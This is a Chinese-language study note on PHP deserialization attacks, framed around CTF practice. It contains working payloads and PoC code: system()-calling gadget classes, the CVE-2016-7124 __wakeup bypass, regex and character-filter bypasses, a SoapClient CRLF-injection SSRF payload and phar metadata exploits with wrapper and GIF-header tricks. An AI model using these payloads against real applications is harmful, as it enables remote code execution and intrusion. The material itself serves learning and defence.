php反序列化
php反序列化相关知识的笔记
一、简介
意义在于能把一个结构抽象的东西转变为易于传输的字符串,如数组、对象。
serialize($a):把$a序列化 unserialize($a):把$a反序列化
类型(:长度):内容 ,例如:
serialize(“aaaaa”) ---> s:5:"aaaaa"; serialize(123) ---> i:123; serialize(True) ---> b:1; serialize(array('a'=>'b')) --> a:1:{s:1:"a";s:1:"b";}
序列化后的内容只有成员变量,没有成员函数。如下:
shellydeMacBook-Pro:~ shellyzhang$ cat 2.php <?php class test{ public $a; public $b; function __construct(){$this->a = "abc";$this->b="efg";} function abc(){return $this->a;} } $a = new test(); echo serialize($a); ?>
shellydeMacBook-Pro:~ shellyzhang$ php 2.php O:4:"test":2:{s:1:"a";s:3:"abc";s:1:"b";s:3:"efg";}
protected型会在变量名前加上\x00*\x00,private型会在变量名前加上\x00类名\x00,输出时记得url编码。如下:
shellydeMacBook-Pro:~ shellyzhang$ cat 2.php <?php class test{ protected $a; private $b; function __construct(){$this->a = "abc";$this->b="efg";} } $a = new test(); echo urlencode(serialize($a)); ?> shellydeMacBook-Pro:~ shellyzhang$ php 2.php O%3A4%3A%22test%22%3A2%3A%7Bs%3A4%3A%22%00%2A%00a%22%3Bs%3A3%3A%22abc%22%3Bs%3A7%3A%22%00test%00b%22%3Bs%3A3%3A%22efg%22%3B%7D
shellydeMacBook-Pro:~ shellyzhang$ shellydeMacBook-Pro:~ shellyzhang$ python3 -c "import urllib.parse;print(urllib.parse.unquote('O%3A4%3A%22test%22%3A2%3A%7Bs%3A4%3A%22%00%2A%00a%22%3Bs%3A3%3A%22abc%22%3Bs%3A7%3A%22%00test%00b%22%3Bs%3A3%3A%22efg%22%3B%7D'))" O:4:"test":2:{s:4:"*a";s:3:"abc";s:7:"testb";s:3:"efg";}
二、漏洞成因
php的魔术方法中含有或会调用到危险的函数,同时函数变量又是用户可控的。如下,需要注意的是,__destruct的工作目录会被切换为系统根目录:
shellydeMacBook-Pro:~ shellyzhang$ cat 2.php <?php class test{ public $a; function __destruct(){ system($this->a); } } unserialize('O:4:"test":1:{s:1:"a";s:3:"pwd";}'); ?> shellydeMacBook-Pro:~ shellyzhang$ php 2.php /Users/shellyzhang
常用的php魔术方法,如下:
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用 如:$a->xxx();
__get(),获得一个类的成员变量时调用 如:$a->xxx;
__set(),设置一个类的成员变量时调用
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法 如:echo $a;
__invoke(),调用函数的方式调用一个对象时的回应方法 $a();
例题:[网鼎杯 2020 青龙组]AreUSerialz https://www.cnblogs.com/or4nge/p/13440624.html
三、反序列化绕过
1、绕过字符过滤
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"efg";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"efg";}
表示字符类型的s大写时,会被当成16进制解析。
2、绕过__wakeup
CVE-2016-7124
PHP5 < 5.6.25
PHP7 < 7.0.10序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
如下:
<?php class test{ public $a; function __wakeup(){ $this->a=''; } function __destruct(){ system($this->a); } } unserialize('O:4:"test":2:{s:1:"a";s:3:"pwd";}'); ?>
3、绕过部分正则
preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头
1. serialize(array($a));//$a为要反序列化的对象
序列化结果开头是a,不影响作为数组元素的$a的析构2. O:+3:”aaa”....
利用加号绕过(注意在url里传参时+要编码为%2B)
4、利用引用
将$c设置为$b的引用,$test->c = &$test->b,可以使$c永远与$b相等
class test{ public $a; public $b; public $c; function __destruct(){ $this->b='xxxxxx'; if($this->c===$this->b){ system($this->a); } } }
四、PHP原生类反序列化(soap)
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。
必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
<?php $target = 'http://127.0.0.1/index.php?action=login'; $post_string = 'username=admin&password=nu1ladmin&code=cf44f3147ab331af7d66943d888c86f9'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'test^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "notExistFunction")); $aaa = serialize($b); $aaa = str_replace('^^',"\r\n",$aaa); $aaa = str_replace('&','&',$aaa); echo urlencode($aaa);
五、phar反序列化
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。
参考:
https://threezh1.com/2019/09/09/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
知道创宇测试后受影响的函数列表:
基本poc如下,可使用此poc生成phar文件:
<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
相关绕过:
当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar
GIF格式验证可以通过在文件头部添加GIF89a绕过
1、$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif
一个简单的例子:phar.php
<?php class TestObject { } $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $o -> name='test'; //控制TestObject中的name变量为Threezh1 $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
index.php
<?php class TestObject { public $name; function __destruct() { echo $this -> name; } } if ($_GET["file"]){ file_exists($_GET["file"]); } ?>
使用php phar.php生成phar.phar文件。
访问:http://127.0.0.1/index.php?file=phar://phar.phar
返回:test。 反序列化利用成功。
例题:SWPUCTF 2018 SimplePHP https://www.cnblogs.com/or4nge/p/13445495.html